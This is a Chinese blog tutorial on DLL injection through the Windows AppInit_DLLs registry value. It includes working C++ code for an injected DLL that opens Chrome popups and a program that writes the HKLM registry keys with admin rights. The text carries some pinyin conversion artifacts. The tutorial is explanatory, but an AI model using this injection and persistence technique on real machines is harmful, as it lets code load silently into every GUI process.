1.簡(jiǎn)介

整個(gè)系統(tǒng)的配置都保存在注冊(cè)表中，我們可以通過調(diào)整其中的設(shè)置來改變系統(tǒng)的行為。

該方式依賴User32.dll，也就是說，需要可執(zhí)行程序調(diào)用到這個(gè)系統(tǒng)動(dòng)態(tài)庫(kù)，我們注入的dll才會(huì)被執(zhí)行到。基本上所有基于GUI的應(yīng)用程序都使用了User32.dll。

注冊(cè)表位置：

// AppInit_Dlls(64位程序讀取) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs]//AppInit_Dlls(32位程序讀取) HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs]//32位系統(tǒng) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs]

查看注冊(cè)表：windows+R鍵，輸入regedit。

AppInit_DLLs：需要包含一個(gè)DLL的文件名或一組DLL的文件名（通過空格或逗號(hào)分隔），例如：D:\testDll.dll。

LoadAppInit_Dlls：將它的值設(shè)為1。

原理：當(dāng)User32.dll被映射到一個(gè)新的進(jìn)程時(shí)，會(huì)收到DLL_PROCESS_ATTACH通知，會(huì)取得上述注冊(cè)表AppInit_DLLs鍵的值，并調(diào)用LoadLibrary來載入這個(gè)字符串中指定的每個(gè)DLL。當(dāng)系統(tǒng)載入每個(gè)DLL的時(shí)候，會(huì)調(diào)用它們的DLLMain函數(shù)并將參數(shù)fdwReason的值設(shè)為DLL_PROCESS_ATTACH，這樣每個(gè)DLL就能夠?qū)ψ约哼M(jìn)行初始化。

2.示例

2.1首先編譯一個(gè)自定義的DLL，我使用的vs2019，創(chuàng)建一個(gè)動(dòng)態(tài)鏈接庫(kù)，如下圖所示。

2.2在dllmain.cpp中編寫如下代碼，主要是創(chuàng)建了一個(gè)新的進(jìn)程，然后使用google瀏覽器打開百度頁(yè)面。當(dāng)系統(tǒng)載入每個(gè)DLL的時(shí)候，會(huì)調(diào)用它們的DLLMain函數(shù)并將參數(shù)fdwReason（這里命名為ul_reason_for_call）的值設(shè)為DLL_PROCESS_ATTACH，這樣每個(gè)DLL就能夠?qū)ψ约哼M(jìn)行初始化。

// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。 #include "pch.h"#define CMD L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" #define URL L"http://www.baidu.com"BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) {TCHAR cmd[MAX_PATH] = { 0 };STARTUPINFO si = { 0 };PROCESS_INFORMATION pi = { 0 };si.cb = sizeof(STARTUPINFO);si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_SHOWNORMAL;switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:wsprintf(cmd, L"%s %s", CMD, URL);// 創(chuàng)建一個(gè)新進(jìn)程及其主線程；if (!CreateProcess(NULL, (LPTSTR)(LPCSTR)cmd, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:if (pi.hProcess != NULL)CloseHandle(pi.hProcess);break;}return TRUE; }

2.3編譯然后生成庫(kù)。

將生成好的庫(kù)放到一個(gè)簡(jiǎn)潔的路徑下，這里放到D:/testDll.dll。

2.4使用代碼將鍵值寫入到注冊(cè)表。

新建一個(gè)控制臺(tái)應(yīng)用程序，代碼如下：

#define DSTKEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\"BOOL RegInject(WCHAR* DllFullPath) {BOOL bOk = FALSE;HKEY hKey = NULL;BYTE DllPath[MAX_PATH] = { 0 };//打開注冊(cè)表if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, DSTKEY, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS){printf("RegOpenKeyEx Error!");return FALSE;}memcpy((void*)DllPath, DllFullPath, _tcslen(DllFullPath) * 2 + 1);//設(shè)置鍵值if (RegSetValueEx(hKey, L"AppInit_DLLs", 0, REG_SZ, DllPath, (_tcslen(DllFullPath) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS){printf("RegSetKeyValue Error!");return FALSE;}DWORD dwValue = 1;//設(shè)置鍵值if (RegSetValueEx(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&dwValue, sizeof(dwValue)) != ERROR_SUCCESS){printf("RegSetKeyValue Error! ");return FALSE;}//RegDeleteValue(hKey, L"AppInit_DLLs");//RegDeleteValue(hKey, L"LoadAppInit_DLLs");bOk = TRUE;if (hKey)RegCloseKey(hKey);return bOk; }// TODO: 在此處放置代碼WCHAR DllFullPath[MAX_PATH] = L"D:\\testDll.dll";BOOL bOk = RegInject(DllFullPath);if (bOk){printf("Registry inject success! ");}else{printf("Registry inject fail! ");}

注意：程序要使用管理員權(quán)限執(zhí)行，修改如下圖所示。

?設(shè)置好注冊(cè)表之后，任意GUI程序運(yùn)行，都會(huì)打開瀏覽器，會(huì)彈出無數(shù)個(gè)網(wǎng)頁(yè)。慎用！！！

2.5刪除注冊(cè)表鍵值

需要調(diào)用以下方法，刪除對(duì)應(yīng)的鍵值，這樣才能將網(wǎng)頁(yè)無限彈窗停止。

RegDeleteValue(hKey, L"AppInit_DLLs");RegDeleteValue(hKey, L"LoadAppInit_DLLs");

總結(jié)

以上是生活随笔為你收集整理的DLL注入——使用注册表的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。